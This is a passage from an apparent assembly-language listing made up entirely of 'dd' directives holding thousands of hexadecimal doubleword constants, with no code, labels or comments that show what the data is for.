1F568EF9h, 11992500h, 82A2D4A3h, 9B44AE47h, 4B5C0E18h dd 0E17C33A1h, 23F66510h, 62828713h, 0FE12A6ACh, 0DB5CF339h dd 409EA9FBh, 0AEE62475h, 0AC6E88Bh, 6D72BC37h, 0BA95B54Ch dd 9B8B685Bh, 71469C00h, 0FECCC1FCh, 65AB9BACh, 0BBF1D87Fh dd 18C6AC91h, 0F7CA1124h, 0B1E7A917h, 0F351765h, 0CC8974B7h dd 45F8EC6Ch, 2975C906h, 0A978F612h, 0D76627Ah, 30AC473Fh dd 0B0DDCA32h, 0FFF58F1Ch, 0B5E673Dh, 0BC0DCC30h, 55BA0EFh dd 0D360BA2Ch, 0AD883AC7h, 29DD451Bh, 7E26F72Dh, 0FCBEE7A1h dd 0E44C6E53h, 8F31D1BBh, 7754C3D8h, 60932418h, 352702CEh dd 3EA4E7BEh, 285C9589h, 0C96FD39Ch, 81FE9750h, 0F19EB02Fh dd 74F2CFD5h, 0E7FC595Ah, 0CC592977h, 49027244h, 0DC91F92Eh dd 6541F7E7h, 0B5A2B1FAh, 0F1C5B7B1h, 0DD260D04h, 2AC5FAB4h dd 0FF99007h, 6B0ABF0Dh, 57F64B1h, 8A3ADC2h, 0B5EB73EBh dd 0F4FD6751h, 9EA98EE6h, 22429E85h, 0BB6CEEEAh, 398D2D82h dd 2B4AEFE0h, 460AD39Eh, 0AC9D012Fh, 0B609706Dh, 96B5CD2h dd 60D291F6h, 229C4773h, 0ECF4FBBFh, 5BEA35A6h, 46C73514h dd 27729AE6h, 44027B1Ah, 2868E261h, 89F0CF5h, 95F270CFh dd 1737B39Ah, 6E10B0FDh, 1C529179h, 0F5A89938h, 0B9348B2Dh dd 0BD6CAA11h, 2F1A5AF2h, 0BDE2DA12h, 5E366173h, 48A09DF1h dd 0E6BE0AF8h, 2E8A7FA6h, 3AB63D0Ah, 0F5F10905h, 6469F5D4h dd 0D2518ECEh, 0D57EB8B7h, 0EC9AEDE7h, 4E14ACCBh, 0C17C7670h dd 212C80A7h, 0F7CE9618h, 0E69643AAh, 87D0EA50h, 30CBE1DCh dd 0A0A70896h, 0CFEE3726h, 3C339695h, 0F717812Dh, 0DC896741h dd 88787DE7h, 0D7DFB8A6h, 0C317A128h, 49DC3E3Bh, 0D783EEA4h dd 0F809AB84h, 0F6E1A10Dh, 277013C1h, 779CBFEDh, 0B196DCECh dd 4DB04394h, 0F432B372h, 0DF451202h, 1D1FD29Eh, 6CF66220h dd 1231389Ah, 9CF3ECCCh, 0E3895853h, 79FCA98Ah, 97168200h dd 0CD7AE43Bh, 0B4155B8Eh, 1764C2DBh, 87913AF8h, 0FB4AE204h dd 5689EE32h, 95047692h, 6083E8BAh, 2C519630h, 6E971162h dd 5D0F6A04h, 7D65800Bh, 9F5E4943h, 0F87114C8h, 867A38C4h dd 438D1AC1h, 857CEBB6h, 5CCE745Bh, 3AA617AEh, 0E99ECF03h dd 0D1AE0A86h, 6E87B692h, 3BD6E61h, 0A5375119h, 0F9DFBFB7h dd 0AB21463Ch, 95075E48h, 31717B8h, 17BC4D56h, 85039186h dd 569E13BEh, 3E8194D6h, 0E4154F0Dh, 3E6BE9D2h, 0BB294E3Bh dd 0EF24E418h, 7DED0A4Dh, 5EC41D07h, 0C7E4C8F1h, 1C9D6BC3h dd 7830DBE5h, 5D6E3EE0h, 899AE212h, 5DD5427Bh, 6E25EC8Fh dd 5B258B75h, 75146733h, 0B6B0169Eh, 94D98B5Bh, 0D1044395h dd 1BBF4318h, 6F5BC146h, 26F9E563h, 68B20B15h, 591FEA88h dd 0F3B6C161h, 0BBDFDF4h, 0B54B0ECEh, 315CBCEAh, 8FFA74FCh dd 4E9E2653h, 5E15E773h, 0C1929229h, 0A9197398h, 88FC3EA9h dd 0E99E5F87h, 9056AAE8h, 89BD037Eh, 2E6C7D48h, 32194A88h dd 216CE5FEh, 593B7CB5h, 3696C26Ch, 0C5C76496h, 6153DA97h dd 4B303D38h, 47FE1E90h, 2E2646A2h, 0B60750CAh, 9D6AE622h dd 98391312h, 7B87299Bh, 6F411ECFh, 39C1190Ch, 7640E2EBh dd 0D621CCA8h, 98564395h, 90A39E68h, 0FD3337FBh, 4B6B9FB0h dd 7DAE2193h, 533EFBD5h, 90843C8Dh, 0F746576Ch, 0C613860Eh dd 8052AFAAh, 3E6241DCh, 8BDE0EA9h, 2A33FF4Fh, 3921FD12h dd 2E180E8Ch, 31A14266h, 0BEED53B4h, 6016F235h, 143DA7C5h dd 49D7EF6Fh, 484E6356h, 0C0721341h, 5526755Ah, 87B061Fh dd 6D90A974h, 0F2E336F1h, 8549560Fh, 0F1C3F393h, 0EBA6EA5Eh dd 0BDD09580h, 0B52D6A2Ch, 382D299Fh, 0CF30823Ch, 34E228ABh dd 861952Ah, 7DBCF136h, 1926EED9h, 86150301h, 65F62C7Eh dd 8A11CD97h, 27D55268h, 6B7200BBh, 0ACA04E83h, 42789023h dd 3E67C89Dh, 2118D330h, 8E0FD4ABh, 0AA0FF99Ch, 817FA5BEh dd 0E01369F9h, 7222D18Dh, 0ACC235C8h, 78F0BD8Dh, 5A168567h dd 0D0A8DAACh, 0CA5F2A2Dh, 0DF1098E7h, 6DFE19D1h, 0D11D3571h dd 7E05A7CAh, 1872B1FBh, 433BC875h, 0AA5223CBh, 48C619F5h dd 8D8A8155h, 7015EFC9h, 0A1E2B888h, 72264519h, 0BFFCE246h dd 46F12181h, 85AC9D5Bh, 20F03042h, 0A3D16DF5h, 0CA304CBFh dd 0D7FD15Bh, 99ED15D4h, 9AF93C61h, 0D271BB78h, 0A2F681F5h dd 7DD91CDh, 0AE6A8225h, 0AE44D32Ah, 68CAB426h, 3D856C9Eh dd 0FB81498Bh, 0E769B1Fh, 0E17A69B8h, 0DFD31D26h, 890B50E4h dd 0D0D23E77h, 48DC2CE3h, 0B3C9D037h, 44A1162Ah, 0EAAE3035h dd 4CDF0C68h, 3B21979Eh, 24DE14D8h, 0A61E30A6h, 61B159EAh dd 0BCF3E4D9h, 0C050D245h, 9C5994F1h, 0E86EC402h, 975DABE8h dd 0C469824Bh, 6CA3468Dh dd 321B9F3Ah, 8E875758h, 34384699h, 4E417F10h, 3D2B0D6Dh dd 6BA2F090h, 0FE6D4872h, 0BE5D0068h, 6FB81028h, 0EA9B55A0h dd 2A53E26Dh, 4AB4DD5Ch, 8119FF8h, 646FE28Ch, 3EEE1F26h dd 0CBE1490Fh, 0B25C4F33h, 35F4D02Ch, 846F8CD7h, 75A4B9F5h dd 0D7C5DF6h, 6106075Dh, 0BE03453Dh, 0B9D9C131h, 9E02370Ch dd 214421E6h, 24B602D7h, 59631773h, 0DFC461A7h, 0BEA86F38h dd 0D4DBFE42h, 0AED53277h, 43C60F8Dh, 6A2529CBh, 3FC901C2h dd 0E580C90Ah, 2EB64456h, 87265225h, 0C1DF16E7h, 5479ACD2h dd 0C64C38EDh, 0D9EAC097h, 133E1DADh, 0BA36339Dh, 66A76A55h dd 3415261Ch, 0EB191314h, 1329542h, 0AF952C78h, 782EE7C8h dd 0B6B1A64h, 0EBD89FB1h, 41AD7A6Ah, 0E403E336h, 98665D03h dd 4859B472h, 32D0FECFh, 0DA545EF0h, 209BC088h, 0C44FF632h dd 38BDF47h, 97070EDCh, 83383CDFh, 0BD77AE3Ch, 0DED8F7F7h dd 0F59D7BDDh, 5D2B66A6h, 1E84A340h, 363DC8F9h, 12E0C1CAh dd 0BD636001h, 0E4489201h, 0C1103146h, 5A4D1A82h, 7B782678h dd 0E3D10BE4h, 0B8D4B652h, 16B78088h, 0DD0934B2h, 9552BB59h dd 1A0EF2C1h, 97C215CAh, 38833FFAh, 0D9AE861Ah, 4D6CE6D2h dd 2B845B39h, 0C0C8FD22h, 8253A814h, 0E1E6ADB5h, 0A8072083h dd 0A55CC8CDh, 0C7472C0Bh, 5205160h, 62D879D3h, 0DE5FA240h dd 11A45FA9h, 190E92FEh, 9DE92D02h, 7EAE27AEh, 577950AFh dd 0F8398DC7h, 6E4834CCh, 972FFA9Ah, 87EC4326h, 49456FDCh dd 7F5B0F30h, 3C09660Fh, 0E181A85h, 93B41208h, 0AE271AF0h dd 3C7D404Ch, 0A73564E0h, 0B795DC4Eh, 90B766F2h, 129396A3h dd 72F5B8C8h, 914E5A63h, 376C16A7h, 0A2D79427h, 19421011h dd 9BDFF34Dh, 0D3A11ABAh, 8DA93795h, 4C819AB8h, 2C2086F2h dd 17583A99h, 4E83BD08h, 0EEF8ED55h, 2E292ADCh, 52D33CD5h dd 760EB3F3h, 0BFB0BF90h, 80A335A3h, 90A4F359h, 3EFEDD5h dd 0DEB1D360h, 53655425h, 0B40A6E1Ch, 0DF5E87F0h, 2EDFB7DEh dd 1F90225Ch, 5FA84637h, 7593645Ch, 10E17F4Ah, 8F19DB36h dd 0C5495C1Dh, 0CE480572h, 0C5CDAC29h, 7EB854F1h, 39E2440h dd 0EB59B2h, 57114F02h, 7BDB539Fh, 20C7520Ch, 70067200h dd 982C7816h, 2CFAC6F6h, 67B29685h, 0DA4EB876h, 0C96A281Dh dd 0DCBAE11Dh, 41BC2BE4h, 0C01395DEh, 0EBA3575Ah, 79FC3AF7h dd 0C8DD86E2h, 0BDB5A44Dh, 472652A8h, 60970F9h, 0A7815293h dd 26CE122Ah, 9C120501h, 9A9A3C2Eh, 0FBC353E9h, 0E47F7FB9h dd 715900B5h, 0F468FAD9h, 48A83053h, 0F92B1BD7h, 0AE566B0Bh dd 3273E2ECh, 0F94BD164h, 7E9C72B6h, 9A59DC4Bh, 0ACF3A4A2h dd 0C01E34DDh, 7C35B79Bh, 3DD1111Eh, 6F4D5979h, 0D8D12845h dd 0DE872A00h, 4AB0051Ch, 0EFF147D1h, 0DA11FBC4h, 185ADAFDh dd 7851C25h, 0B35AD138h, 335FCD1Fh, 0E5EC1818h, 0ECF911D8h dd 7A53C455h, 118EC5FEh, 0D90F0913h, 0E66B9F8Ah, 9DFFA98Dh dd 4A361B46h, 7CB8CC55h, 28A58246h, 0F679BAFAh, 33EFAECBh dd 0D58C9A72h, 7F1C6815h, 42C9F940h, 985A5B5h, 0EFA8F33h dd 0BBF843A8h, 6A46B64Eh, 7B8BE37Ah, 11A0E33Dh, 816E12C3h dd 21ABF860h, 0ADD2EB8Bh, 8AF20C57h, 35A994FAh, 0A6DC016Ah dd 0A3152EFh, 3D274D7Bh, 578B3AEAh, 0B3BC348Dh, 8FB3AFBBh dd 16F3567h, 24D66F39h, 46C60F8Ah, 7852784Bh, 295C1BE5h dd 102D8BEFh, 0EA42291Ch, 47B5CA88h, 4747E350h, 0DD8A6E9Ch dd 5045BF46h, 75332A5h, 0DFAA5CF9h, 2281F6BFh, 1ADAAF5Dh dd 90C216DEh, 0FF2EAE2Dh, 71D83510h, 816FB903h, 0E02BFEB2h dd 48C3F98Fh, 0DE86C68Fh, 717EC5C3h, 752424CAh, 1595216Dh dd 11888C9Eh, 0A6431793h, 931E4F0Fh, 3924AD5h, 3D45A786h dd 0C092769Eh, 6D3CBD54h, 0F71D0EFEh, 0D1AC5CA8h, 0DD178EA8h dd 36E60095h, 4ACEF1D0h, 0AEF9AE20h, 0A02AEE72h, 0C15D5FA2h dd 4FF9F148h, 0D270814Eh, 41113C77h, 3CB8DA2h, 8D6EF801h dd 0DEB5DD2Eh, 18A6841Dh, 1242AFBCh, 4C0F9281h, 0F642C96Dh dd 5042A9F9h, 7C1278F6h, 4B100BC8h, 8265AE64h, 0B1F424AAh dd 49CCF570h, 0F717D108h, 46B2127Eh, 5E4BC143h, 3482B74Dh dd 7F842C9Dh, 0A47BC848h, 52C204D7h, 3D363246h, 2301AD7Ch dd 7F4F59h, 0BE8B2111h, 0FD8ECF9Ah, 0CC463304h, 0E7533B48h dd 23055272h, 6DCCDF3Eh, 1A4C06h, 97D70BB8h, 46A18DFBh dd 0A606AA6Fh, 0CB9E4477h, 0A1FBE265h, 195ED4D8h, 0E3CDC24Fh dd 666BE160h, 64C1B3BBh, 9DBAC61Eh, 0E579CE8Ah, 0B5D6CA17h dd 1FFA395Eh, 0D63DB312h, 19BF02A8h, 3858A45Dh, 1C6742CBh dd 4D45F51Eh, 0F1CBF6EBh, 94DAF7D3h, 0C4F1D5C0h, 2271D388h dd 68056B53h, 0CF651CFAh, 0F4A7DA4Ch, 0DEFD97AFh, 3E518610h dd 85AAF9Fh, 363351E8h, 9E3C8C71h, 5D66AB08h, 19150138h dd 5997532Eh, 0F11F1FCDh, 1AC8E700h, 0BC31B481h, 711468DCh dd 6A7A1285h, 2F9831F6h, 4E98A97Ch, 0CA38C135h, 94BB4934h dd 774A56C4h, 0D405B817h, 0D78EDE4Dh, 0B122811Ch, 9BDB031Dh dd 7703BC7h, 5EF22684h, 4C6ADCBAh, 0E0EE38EDh, 0C81A9921h dd 9B71869Eh, 9D13FCCAh, 0C19006E5h, 95D37602h, 0A842E3AAh dd 0B3FF699Ch, 0EF5B04EEh, 71495DD1h, 6FC9BD2Eh, 953AF551h dd 0F90A1ADFh, 0F247970Fh, 2C51545h, 9F6F61F3h, 82980E49h dd 0B507B968h, 88DDA6FFh, 73FB8611h, 0C1662C10h, 5751F6CCh dd 424E2D8Fh, 95E3BF23h, 0A2F9A034h, 99A012A0h, 1A18BC45h dd 21DCAC19h, 0F3DA6546h, 0A81214E9h, 0FD0EBAF5h, 78F93FDDh dd 0E4EC4F34h, 6B29DF51h, 0A4CE7C3Ah, 671AD6DAh, 0B3C6E1D9h dd 2C4B26C1h, 7F96FFAh, 4274A872h, 1706FB23h, 2F046DD4h dd 678EF28Eh, 0E4230A8Dh, 820917E2h, 7799A27Fh, 66B70EFAh dd 0A3C29283h, 9D4558E2h, 2AC3A97Fh, 0AD1C6F74h, 599BCF4Eh dd 99FCF7D0h, 4A2572A3h, 0CB0DDF73h, 9A11B15Ch, 6358E9B8h dd 0C94BD900h, 19C83A13h, 4EFA684Ah, 952932AAh, 87332714h dd 14362D69h, 3F010DC4h, 0BC026403h, 7A55F60Dh, 62490672h dd 690A8540h, 12FF303Fh, 5EEC1C41h, 0A0A67CD2h, 0F5A6A1DFh dd 166007A2h, 0D4A43205h, 0C2987AC1h, 0E9B7B01Fh, 0C4B49789h dd 6B9A4631h, 80BD7A5Fh, 9E0D6C4Fh, 7D3F50F0h, 3935DA23h dd 6F33C3Dh, 1AE52EBDh, 43C43325h, 0B5D83026h, 0B565AB88h dd 0A74F1D79h, 0E23671F0h, 0A9055605h, 0C6A7CC4Ah, 8C0D23D4h dd 3A79B962h, 0EC7FFE72h, 0CF98E614h, 5973398Fh, 8ED7A0BBh dd 17D55E5Eh, 0E0CBA191h, 8690EE95h, 7765BC56h, 676E4F42h dd 16BFC102h, 0D6D05137h, 0E09E1FB1h, 5ED316C0h, 274E55F8h dd 80ECA6D8h, 8C487E9Eh, 9B1C6E19h, 164C5EA6h, 0D9762E93h dd 0DD29063Bh, 4A0BBC8Eh, 55B21CF9h, 0FA59795Ah, 20372B14h dd 1CA07A8Fh, 1494BE10h, 0B5A4A555h, 0A033E111h, 9F71DBEh dd 7D0C737Ah, 0F1628B6Bh, 0FCF0D0B8h, 961363ECh, 8F6F151Dh dd 4011E352h, 0C7414D0Ah, 44A83705h, 96B31971h, 1D7D4F91h dd 8EB5B1BCh, 38846149h, 1D1B85F2h, 203A192h, 4D38043Fh dd 5ABDB5D4h, 0FDDC502Dh, 4315C609h, 0C4E73C69h, 0EDC364A0h dd 0A33EB44Ch, 0B8F3734Dh, 0A196FBFDh, 2344905Ch, 0AF4DD663h dd 805B0BD5h, 7F98C00Fh, 0D9486F2Eh, 7079826Ah, 0FC746FAh dd 440310ACh, 0DCE39833h, 8E3E0FA9h, 0A188FFC7h, 0ABABC6A0h dd 0D3EE471Eh, 1A750CB4h dd 9192C51Ah, 3A4E13F6h, 44CCCC06h, 6DEF8227h, 2D7DACE1h dd 0F053033Ch, 0F6001A80h, 20D204D3h, 36EE5EDDh, 0EF21CF3Dh dd 7CB78CACh, 95D1D414h, 0A5065FE5h, 343AFB5Fh, 0E26755FAh dd 5B69B7Dh, 0C5FB8017h, 47F56B2Eh, 5B27B19Bh, 456CD5EDh dd 0C1B4881Bh, 0D01B0F9h, 5B3F1E17h, 0A0078D37h, 0AD127C7h dd 3CBB5F33h, 0EDD811A9h, 0CA12E91Eh, 28893526h, 914A7A9Dh dd 0D347BEA7h, 31FE010Eh, 5DAF2FCAh, 0A9F3C01Dh, 938E23F3h dd 0E97AE4C9h, 8EBCF625h, 542FA80Ch, 0A5CBFCDFh, 9690E264h dd 62FFFF86h, 30D085B0h, 0C0D8E5F9h, 0D8191BE1h, 77B94E83h dd 0ACFEE980h, 0A1CF3412h, 0F493A027h, 0F04BDD76h, 0E1F970A1h dd 0F696BBF8h, 5BDF2480h, 9155663Bh, 0A70CACAEh, 231D18BFh dd 321B8CDDh, 5FC85285h, 55C3BDBDh, 344E8F2Ch, 32752CC0h dd 3A348B87h, 0FCE4BD93h, 6CD4D066h, 0A64AF496h, 7E5E49C0h dd 0D1D66D88h, 0F9C8E966h, 2579BF1Ah, 3F365048h, 0A9F03D68h dd 0A9664EC6h, 0DF40BB96h, 786B7BDEh, 0ADD92BF1h, 5CCE9415h dd 0B21BF973h, 5A106B4Fh, 4042D170h, 5ECA8C0Eh, 68312C9Ch dd 9238A49Ch, 7C97D7D0h, 371520BCh, 37558BB5h, 402C4E2Bh dd 0BA88D41Fh, 1998F540h, 0C7BEBEF9h, 77A2824Dh, 6F2E712Dh dd 2C6AC111h, 0E1212DB4h, 0A6D011B9h, 8076A32Ah, 0BF18D16Fh dd 0CCC7548Fh, 31D74255h, 8B84A8F5h, 8A91567Ah, 1CFB4522h dd 6732D032h, 66302C53h, 725C8915h, 52662210h, 9BE6700Fh dd 4073A020h, 0B2026A5Bh, 91F63272h, 191AAF58h, 100B6C44h dd 0CE6DB0EFh, 36AA7256h, 3B1B35A2h, 0E3C63CA3h, 2130A9E0h dd 0E717AEA7h, 3DE54EE4h, 0EF091618h, 9F8270E9h, 0D99426EAh dd 0EC1E5377h, 524DF560h, 0FC4429A5h, 42664588h, 60C28F10h dd 42EAEE1Dh, 0CC70098Ah, 0F89813EFh, 0CCBBBB14h, 97D77600h dd 6800AF3Bh, 67028FE2h, 55902EA9h, 9C396C57h, 19DEBB66h dd 4A5B1B60h, 0F5EF4A26h, 5806762Bh, 0A31C67AFh, 2BDF2C0Eh dd 398184F5h, 0D0927858h, 215D5808h, 1ED8EE4Ch, 0CB4B8AB8h dd 9ADA0060h, 807B04A3h, 25861082h, 139E02BDh, 5D8FE2DCh dd 0FB2DDCB5h, 0BDF3CFAh, 48107EDAh, 35E1BF56h, 46FEF0BAh dd 0DD24EB4Fh, 0F5728DDAh, 3DDEEB48h, 0C4692FC9h, 8767C1F9h dd 99DC9893h, 2E83A8D7h, 0DC107F2Bh, 845529F4h, 0C61B0DE2h dd 31D2AF0Fh, 0C2245018h, 0D2F43463h, 82B617EEh, 475A1144h dd 6A105169h, 91429C3Ah, 0D799ACC0h, 25570272h, 6FFB576Eh dd 5AECAF92h, 9DE2AB15h, 96890864h, 953685E1h, 0DD19B50Bh dd 7BB1ADD3h, 0AEBEF831h, 0CDF8C4Ch, 76FC398Ch, 31770734h dd 42B6DB42h, 503D3114h, 51FC7259h, 2FDFA191h, 0F85B542Ch dd 15758BF7h, 794AFDF0h, 3C0FBA0Eh, 0AFF4FA5h, 8FDBAD02h dd 39EC1860h, 39AA597Ah, 76376D0Fh, 62419E8Fh, 5C423E84h dd 0B5DF144Ah, 414BC66Bh, 519AEB95h, 701969D2h, 2EB2CD5Ah dd 2652D835h, 26439868h, 81B440FFh, 0FFD3FE82h, 9FECBB7Fh dd 4B32FD2h, 4D56ECE1h, 5B6AD681h, 337E5841h, 347D00E8h dd 0F89C353Eh, 90B3D950h, 5E557611h, 80B7ACADh, 0F6CF3CB4h dd 8B147B69h, 6E62369Eh, 0A693A335h, 61D9A02h, 95DADE13h dd 81CE7915h, 0BA83CBE4h, 63C2BFC8h, 0E6D80DE6h, 81DF4230h dd 15C41105h, 0A6C3C4DDh, 0F8BDEA61h, 58844B88h, 0A93C961Dh dd 94BA8406h, 0D6B6DE81h, 663CD97Bh, 64224B8Bh, 123B1E31h dd 0E3A35D76h, 8B346ED9h, 687DE31h, 6008CA88h, 0F274E047h dd 750FA0D5h, 5CC31778h, 8380714Bh, 22938E51h, 9C1A1F62h dd 54DB417Dh, 0E6FBB3FEh, 3B4D48EBh, 3057E13Eh, 8251A8EEh dd 56299FA6h, 8ED89DB6h, 68B2C0CAh, 0BE2690FDh, 0EE145EA6h dd 0C8014BC6h, 0D5EB468Ch, 6FBC994Eh, 3DE87280h, 0CE37BC80h dd 7DC80A50h, 0F38485AFh, 0DA1BE4DAh, 8752A7D7h, 0DC1AA73Ah dd 0B88956EBh, 0EFC8541h, 88721033h, 0D24EB5A1h, 29080E69h dd 0F52B277Fh, 0FA6E954Dh, 9F883F6Fh, 0CE3D1C9h, 0AC74B9E8h dd 29410A27h, 0CA332844h, 202DC867h, 80BA0CD6h, 0E0ABC4D6h dd 0FDE1E1DAh, 0AC6EABB1h, 42233D06h, 4E00169Fh, 1281A404h dd 715CABDFh, 9803A201h, 55D58530h, 8137D6B2h, 0AA91DD88h dd 10545A1Bh, 0AFF04193h, 0D6CD36E2h, 0BC6726Fh, 62F2FD8Bh dd 34D2B5B4h, 39DBB7D4h, 88062C1Fh, 3E2C2019h, 0B0D2CE27h dd 423A81F4h, 52DC820Ch, 48232881h, 82BD449h, 0CB6C59Ah dd 4EA2A19Eh, 5C49B921h, 96861747h, 665EEA77h, 7A5C08B5h dd 0C780135Eh, 9524B3A7h, 0B831D139h, 0FE720C20h, 71EBC92Eh dd 4C63789Ah, 0EB8FDF06h, 32E312F9h, 826EE850h, 53B2260Ah dd 74E30A0Eh, 15C29F03h, 0AA55817Dh, 8D3888B5h, 2114D854h dd 34914B31h, 7125688Dh, 6AEE204Ch, 0A5C4924Fh, 0FA02EA9h dd 418C67E7h, 0E103DCDEh, 6387A730h, 0D6CA88F7h, 0DC00AE80h dd 0A4F84871h, 0F4217283h, 263D24E9h, 3D0A4808h, 38C7450Ah dd 5254C00Ah, 1128E331h, 980C267Fh, 0D75B0555h, 85552776h dd 6B7B0CDAh, 47661CB4h, 387E95E9h, 0A6C0BDFDh, 2D8DE1D7h dd 0B7470C6Dh, 25835036h, 2B0F8A57h, 0BB78AFD4h, 86CD5DA2h dd 0A9D92233h, 0DC21A3A2h, 68F860E3h, 99F5B263h, 1E689EB6h dd 34EDAAD3h, 24AB7CD6h, 0F1E2A7B8h, 0DE71C74Eh, 0DE66C0BEh dd 84F40456h, 980F3A2Ch, 9066BFE5h, 268DC530h, 0AED380DCh dd 0FCFA4529h, 0D70A01FAh, 0F760A279h, 88E62DFFh, 0C7F86A3Fh dd 0E92CDBD6h, 0B970AC05h, 0FAC22C26h, 0F7C607DAh, 6099361h dd 5E592C2Bh, 0D839D592h, 512C4963h, 7E1296DEh, 7662D90Ah dd 6417E91Ch, 0D2823A48h, 7DB84C98h, 3E4B380h, 858307Bh dd 0F55AE9CFh, 4D2C0C92h, 0C37DE28h, 1EF05AE3h, 0FEA24CC2h dd 8B5DC733h, 0DA86BA97h, 0DDB5D717h, 0B1D1E605h, 87860AF3h dd 1F7A14F7h, 0BFFB3E7Eh, 7E452D21h, 30CA2057h, 0D0A47B29h dd 4761C1EDh, 0F1607112h, 6493BD28h, 9D961255h, 0C8853E47h dd 68B18E8h, 1525CBD1h, 47AECDEDh, 65B82911h, 0C67D8353h dd 0C5FD44DCh, 3734EADDh, 719028C4h, 0FD5FC039h, 0B8A5DD40h dd 9599D2D8h, 0F4FFC202h, 0F95467D0h, 13164E1Ah, 65A3716Dh dd 2B8F1859h, 0EB3D15FAh, 80C0FC97h, 0C866CFC9h, 0A2AF5D49h dd 7DAA15Ah, 7791E630h, 1617F5BBh, 69330A04h, 4051A00Bh dd 9C41B7D6h, 46EDE5ECh, 52BD4B51h, 96B35AB3h, 73B487BFh dd 0EDC2C490h, 18418124h, 0AA9E68ABh, 0CC49BD1Ah, 70B9897Eh dd 0CC0D6210h, 6CA9581Eh, 968F649Fh, 4AAA09F1h, 8B2E4227h dd 67025AFDh, 60879CB9h, 6E6328ACh, 0A460F236h, 50CC182Bh dd 0D3894D0Dh, 63A5F0C0h, 0EE750D36h, 7113AC61h, 8C08BD35h dd 64340C93h, 59FEB5F0h, 5C6C18C2h, 89394CCBh, 0B67BE0CFh dd 3DCB12AAh, 6CF04F01h, 0BB2515Eh, 135874A5h, 0F6EAFC7h dd 9000DD4h, 0AE7CBAE1h, 0F17D63C7h, 795F14BFh, 62482BE8h dd 0A2EED336h, 19D8DCC3h, 50E9D098h, 0E5F61C3h, 0D139BCADh dd 0E785614Dh, 809A5E2Eh, 0F9E9A15Dh, 0F1EDB0E2h, 65599C2Eh dd 8F30A94Fh, 0BD664346h, 44E659D1h, 9BAC9301h, 0BB8A9E64h dd 0B0D64CD2h, 0AB01906Eh, 0DDA1B347h, 48C20724h, 42D4449Eh dd 0F0147B24h, 9FD9647Dh, 6A1DF3E6h, 6CAF259h, 0F50097Eh dd 9ADB5B19h, 0F50090DBh, 0E87143B1h, 0E0474AE8h, 1F8F3C0Dh dd 649D6413h, 0AFE6D03Ch dd 2EF03BDBh, 7CF5623Fh, 0A34927DFh, 1B82E0C5h, 991C0DC1h dd 839C58BCh, 0E523DB27h, 0EE889648h, 2ED56517h, 1A591FFCh dd 0FDDAC512h, 0E5187681h, 51A9D07Ah, 31043D38h, 107318DFh dd 0C493CB62h, 2DAEEAC4h, 2A7478E1h, 8456A46Ch, 64F94181h dd 10C391F8h, 21BE3D3Dh, 83E5FB53h, 292F0E1h, 2E02C4D4h dd 4131A753h, 0EF509BEDh, 0B0E9998Ch, 3AE8AA79h, 0F68CBC25h dd 21D01589h, 0E3C37321h, 85258957h, 96AD5312h, 13E55238h dd 5919F223h, 0B34C0911h, 18B2445Bh, 20D19E75h, 0A472FB2Dh dd 8EF71223h, 0BB1F56F3h, 0C2243468h, 35493DBFh, 0EEFE32F9h dd 3305DF15h, 4D066C9Fh, 0EDA5219Bh, 611D235Fh, 0CE4431C2h dd 63F791ABh, 0CE4534C5h, 0FEB51FA7h, 7ACBA456h, 68892599h dd 70036CB5h, 0D2A73FEEh, 0D5371A82h, 32D9D41Ah, 65B9E297h dd 0ECF33147h, 571C5A48h, 39434249h, 73A8760Ah, 203249F4h dd 0EF527BC9h, 0C1D9EEA7h, 452E3B77h, 26163404h, 0F3728C50h dd 134B3D5Dh, 9AEC7E67h, 2F511A1Ah, 0CFC9BCE9h, 0B996E2AAh dd 8CFE0879h, 0EAE4B8F7h, 47A4BCDDh, 222EEBD8h, 3799E550h dd 0B8ED9192h, 0DB1FB5E0h, 9C24D0DDh, 7FF2BD8Ch, 540155B8h dd 6E3CCEA6h, 1FF80357h, 0C4A96648h, 82DA5EF5h, 59A4A2B5h dd 3DDE048Dh, 4900F0F4h, 91E3A056h, 0D7161B65h, 0CC0D70D3h dd 24176294h, 8D9ED515h, 0B50C4B4Dh, 23F48BCAh, 6544FAC8h dd 0B4A71C43h, 26FFBE74h, 16D60444h, 0D4C7B1D2h, 0B7BEDA97h dd 3F19600h, 0E0A0DFDEh, 9033588Dh, 2FAA214Fh, 6FC9F5EAh dd 292B13FAh, 340437D4h, 7832694Eh, 0A05455FEh, 30CEA727h dd 0CFA7DFD2h, 0C04E7FC4h, 0A9C81541h, 3EEAA661h, 42C72F61h dd 0F03AF329h, 0AA229493h, 0B86189DEh, 3D48B1DAh, 8A4F8790h dd 2BBC949Ch, 3DBD9B9Bh, 558DD007h, 0AA8C3609h, 14E61BF5h dd 0F0C7A037h, 6EE352B3h, 86A76E52h, 896FA858h, 0E9595289h dd 7089CD7Dh, 6B8CE8EBh, 6E736CBCh, 89EEE56Ch, 57EC7C92h dd 7D7D25FDh, 0A3B640E2h, 45FF82BBh, 94A105C5h, 7DB769Fh dd 2256CD21h, 51045515h, 1DAC2FB7h, 0E57F5EDh, 3C95D577h dd 0FF639C24h, 8A708FC1h, 2689441Ah, 35ECBF95h, 0A6C9C1FEh dd 0BC2A4778h, 0C98C9F3h, 6E5031ECh, 40997E54h, 96999848h dd 0B392090Bh, 0EBF61246h, 0A8833E3Ah, 0BD0B8BBEh, 6693F3F0h dd 0BBE7FB1Fh, 0DB3BB70Fh, 7AB2E714h, 81CE3FC7h, 1C294362h dd 0BE6E49C4h, 88AA50A1h, 0B41B8740h, 0E57AB997h, 4C165F08h dd 0D4D54A8Dh, 0BB0B5840h, 0BFFCE261h, 3E9122D8h, 1DEFBAF6h dd 321F8BD3h, 0DBE8A7D9h, 0D0880E18h, 0F882A9h, 0D0928B20h dd 8704B939h, 0F16DF6A4h, 2E53F9E6h, 1D71231Ah, 0CF2C0EBAh dd 1AF03335h, 4D39E3D0h, 0D10D8BFDh, 1EC2DFF8h, 0DE9C95C4h dd 71B59B0Fh, 0E60F6819h, 5F0A876h, 79951647h, 372BC41Eh dd 592CF80h, 3ADEF0BDh, 25DCD1A1h, 47380B4Dh, 3BEBAB86h dd 42240F13h, 33B992D2h, 0C464DD6Fh, 43F98A86h, 0D219C076h dd 17780E5Fh, 272B685Dh, 0F4EBD7Bh, 0B80C2135h, 0F82E0D67h dd 0BA7B2CB8h, 0F3C8FC36h, 329D3063h, 0F1726DB4h, 6D7F0304h dd 6B4B34CFh, 90F7BAD2h, 124267h, 9C40B1C9h, 0B982B6Dh dd 0D8EA56C8h, 84F52262h, 0F259DB05h, 0C99D7AE9h, 0D4A51186h dd 0FD7F115h, 0FE8ABE21h, 0B6ECC94Eh, 0AA592983h, 0DDD1314Ch dd 286DFE7Dh, 